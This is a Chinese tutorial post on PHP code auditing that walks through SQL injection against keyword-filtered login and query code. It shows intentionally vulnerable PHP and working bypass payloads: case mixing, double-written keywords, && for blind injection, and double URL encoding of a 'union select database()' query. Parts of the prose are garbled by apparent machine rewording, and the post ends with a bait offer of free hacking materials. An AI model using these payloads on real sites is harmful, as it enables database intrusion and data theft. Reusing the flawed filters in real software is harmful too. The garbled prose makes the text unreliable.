首页 » PHP教程 » php的pregmatch技巧_SQL注入进阶篇一php代码审计

php的pregmatch技巧_SQL注入进阶篇一php代码审计

访客 2024-10-28 0

扫一扫用手机浏览

文章目录 [+]

大小写绕过语句为 -1’ unioN Select dataBASE(),2 #

双写关键字绕过语句为 -1’ ununionion selecselectt databasdatabasee(),2 #

php的pregmatch技巧_SQL注入进阶篇一php代码审计

都运行成功

php的pregmatch技巧_SQL注入进阶篇一php代码审计
(图片来自网络侵删)
or and xor not过滤

or and xor not 像这样的逻辑运算也会被过滤袋掉那我们怎么绕过呢?

源代码剖析

<?phprequire 'db.php';header('Content-type:text/html;charset=utf8');$username=dl($_POST['username']);$password=dl($_POST['password']);$zifu='/(and|or|xor|not)/i';if(preg_match("$zifu","$username&&$password")){echo "<script>alert('存在危险字符')</script>";}$dl="SELECT FROM xs WHERE username='$username' and password='$password'"; //登录界面后台处理$ck=mysqli_query($db,$dl);$row = mysqli_fetch_array($ck);if($_POST['login']){if($row) {echo"登录成功";}else{echo"登录失落败";}}function dl($gl){$gl=str_replace(array("union","UNION"),"","$gl");$gl=str_replace(array("select","SELECT"),"","$gl");$gl=str_replace(array("database","DATABASE"),"","$gl");$gl=str_replace(array("sleep","SLEEP"),"","$gl");$gl=str_replace(array("if","IF"),"","$gl");$gl=str_replace("--","","$gl");$gl=str_replace("order","","$gl");return $gl;}?>

阅读一遍代码创造在上一段的根本上面添加了一个preg_match函数,这个函数过滤了or and xor not关键字,须要把稳的是preg_match会大小写都过滤,连续往下读回显位改成了成功或者失落败以是我们只能采取盲注或者延时注入。

逻辑运算符绕过

先考试测验大小写绕过,果真是失落败的。

利用逻辑运算符考试测验

and = &&

or = ||

xor = | # 异或

not = !

利用&&代替and布局盲注语句1’ && length(DATAbase())=3 # 由于关键字过滤函数还在以是还同时须要大小写绕过。

注入成功

url编码绕过

在平常利用url提交数据时,web容器在接到url后会自动进行一次url编码解析,但是由于业务问题有些网站在web容器自动解析之后,通过编写程序对解析的参数进行再次url编码解析,就会出大问题。

源代码剖析

<?phprequire 'db.php';header('Content-type:text/html;charset=utf8');$id1=$_GET['id'];$gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i";if(preg_match($gl,$id1)){echo"<script>alert('存在危险字符')</script>";}else{$id=urldecode($id1);$dl="SELECT FROM xs WHERE id='$id'";$result=mysqli_query($db,$dl);$row = mysqli_fetch_assoc($result);if($_GET['id']) {if ($row) {echo "登录成功:" . $row['username'];}}}?>

上来还是先看看代码,把客户端传入的get参数赋值进了id1,用if加preg_match对变量id1,用ifpregmatch对变量id1里的值进行检索。
如果客户端传入的参数有gl里的值那么就会返回前端代码进行警告。
没有危险字符才会实行下面的代码,接着把gl里的值那么就会返回前端代码进行警告。
没有危险字符才会实行下面的代码,接着把id1里的参数进行一次url解编码并赋值给$id。
此时客户端传入的参数已经经由了两次url编码解析。
末了过滤完成把id变量带入数据库中进行查询并返回用户的账号。

注入语句

剖析代码时说到客户端传入的参数会进行两次url编码解析之后带入数据库,但危险过滤是在第一次解析之后第二次解析之前实行的。
也便是说我们可以写入两次url编码过的语句绕过preg_match,比如and在过滤范围之中,对and一次url全编码后变为%61%6e%64%0,再进行一次编码为%25%36%31%25%36%65%25%36%34


把经由两次编码后的and提交数据会经由web容器解码后变为%61%6e%64,preg_match剖断就不会触发。

布局考试测验语句

把-1’ union select database(),2,3 --+编码为-1’

%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35(),2,3 --+

成功绕过,代码实行带出了当前数据库。

末了,为了感谢广大读者伙伴的支持,准备了以下福利给到大家:

[一>获取<一]

1、200多本网络安全系列电子书(该有的都有了)

2、全套工具包(最全中文版,想用哪个用哪个)

3、100份src源码技能文档(项目学习一直,实践得真知)

4、网络安全根本入门、Linux、web安全、攻防方面的视频(2021最新版)

6、 网络安全学习路线(告别不入流的学习)

7、ctf夺旗赛解析(题目解析实战操作)

[一>关注我,私信回答“资料”获取<一]

标签:

相关文章

Java代码虚拟化保护技术与应用前景

软件应用的需求日益增长,软件开发过程中对代码的保护成为了一个重要议题。Java作为一种广泛应用于企业级应用的编程语言,其代码虚拟化...

PHP教程 2025-03-02 阅读1 评论0

CAD插件错误代码与应对步骤

CAD(计算机辅助设计)软件在工程设计领域得到了广泛应用。CAD插件作为提升设计效率的重要工具,在提高设计师工作效率的也带来了一定...

PHP教程 2025-03-02 阅读1 评论0

上古卷轴代码规则大全游戏背后的编程奥秘

《上古卷轴》作为一款深受玩家喜爱的角色扮演游戏,自问世以来便以其丰富的世界观、独特的游戏体验和深厚的文化底蕴吸引了无数玩家。在这款...

PHP教程 2025-03-02 阅读1 评论0